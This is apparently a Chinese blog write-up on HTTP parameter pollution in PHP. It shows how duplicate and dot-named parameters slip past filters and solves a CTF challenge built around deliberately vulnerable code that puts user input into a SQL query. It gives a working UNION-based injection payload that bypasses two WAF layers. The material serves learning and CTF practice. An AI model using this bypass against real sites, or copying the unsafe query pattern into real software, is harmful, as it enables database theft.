成因

个人理解HTTP参数污染本身并不是一个漏洞,而是由于程序员没用充分理解服务端接受参数的机制特性,导致对传进来的参数无法进行正确的处理。

下面这个表简单列举了一些常见的Web服务器对同样名称的参数出现多次的处理方式:

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All (List)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)

当服务端接收到传入的变量名相同的时候,根据自身的机制来接受传参,如下测试代码

1
2
3
4
<?php
$a =$_GET['id'];
echo $a;
?>

效果很明显,那么利用这个特性,当服务端存在不合理的处理机制的时候,漏洞就产生了。

利用HPP绕过waf

这边先列出三种php特性

1.php自身在解析请求的时候,如果参数名字中包含空格、 . 、[这几个字符,会将他们转换成_

2.php在遇到相同参数时接受第二个参数

3.通过$_SERVER['REQUEST_URI']方式获得的参数并不会转换。

1
2
3
4
5
6
7
<?php
$a =$_GET['i_d'];
$request_uri= explode("?",$_SERVER['REQUEST_URI']);
var_dump($a);
echo "<br>";
var_dump($request_uri[1]);
?>

一道CTF题试试手

漏洞代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>

很明显这是考察注入,不难发一下$user_id虽让可控,但是都进过上面的层层waf,特殊字符被转义,关键字也被过滤,似乎没有突破口了。

那么回想开头的PHP特性,我们可以用user.id来顶替user_id,而这两个变量利用$_SERVER['REQUEST_URI']处理时,是两个不同的变量,前面的实验就可以看出。先看看一下部分代码

1
2
3
4
5
6
7
8
9
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}

首先用?分割,然后再对参数部分用&分割,如下图效果,就是将变量每个都取出来。然后在对变量的值进行过滤操作。

假如我们传入user_id=select database()&user.id=123,当经过第一层waf的时候,由于user.id被解析成user_id导致前面的值被覆盖,于是不会被第一个waf给拦截。而在进行第二个waf处理时,采用REQUEST_URI处理参数,对参数进行替换等操作,再得到新的_REQUEST。这样就导致我们的payload成功的带入了sql语句。不过还得先绕过dhtmlspecialchars这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}

仔细看看,哪些被特殊编码替换了。 我们试一下构造payload,其实构造的payload很少需要被过滤掉的那些特殊字符,只不过括号被过滤了,导致注出数据库名有点棘手。。我并没想好如何绕过过滤括号的注入,以下下都是已知数据库名和表名的前提。

1
2
order by 4 //先测出来了一共四列
union select 1,2,3,4 %23

发现成功绕过了waf,再源码里加几句输出看看语句发生了什么变化

在经过第二个wafi_d的值成了我们构造的payload的,这也说明了,第一个waf只对了最后那个接受进来的参数进行过滤。也就是i.d=111,这个当然不会被waf给阻挡了。 于是就这样华丽丽的利用phh成功绕过了waf。构造一下读取flag的语句

由于是用REQUEST_URI获取,所以需要对将这些会被编码的字符给替换掉,所以最终的payload

1
?i_d=-11/**/union/**/select/**/1,flag,3,4/**/from/**/day10.users&i.d=111

再看看REQUEST的另一个特性

$_REQUEST是直接从GET,POST 和 COOKIE中取值,不是他们的引用。即使后续GET,POST 和 COOKIE发生了变化,也不会影响$_REQUEST的结果

小测试

1
2
3
4
5
6
7
8
<?php
if(isset($_REQUEST['id'])){
$id_1=str_replace("flag","",$_REQUEST['id']);
}
$id_2 = $_GET['id'];
echo $id_1,"<br>";
echo $id_2,"<br>";
?>

一个简单的小片段,运行结果如下

REQUEST的传入方式有三种GET,POSTCOOKIE三种。由于我们采用GET方式输入,所以也会进入if里做了替换为空的操作。可当我们输出$_GET['id']的值是发现它并没有进入过滤。那么如果正常的业务流程中,由于传参方法的不一致,就很可能导致waf被绕过。

实例漏洞

是Ph神16年写的文章,在此,再膜一次Ph神!!tql!由于没给出具体版本号和CMS下载的地址,无法复现,这边就贴上个链接,学习一下思路。

贷齐乐系统最新版SQL注入,无需登录绕过WAF可union select跨表查询,用官方给的例子『宁波贷』作为验证。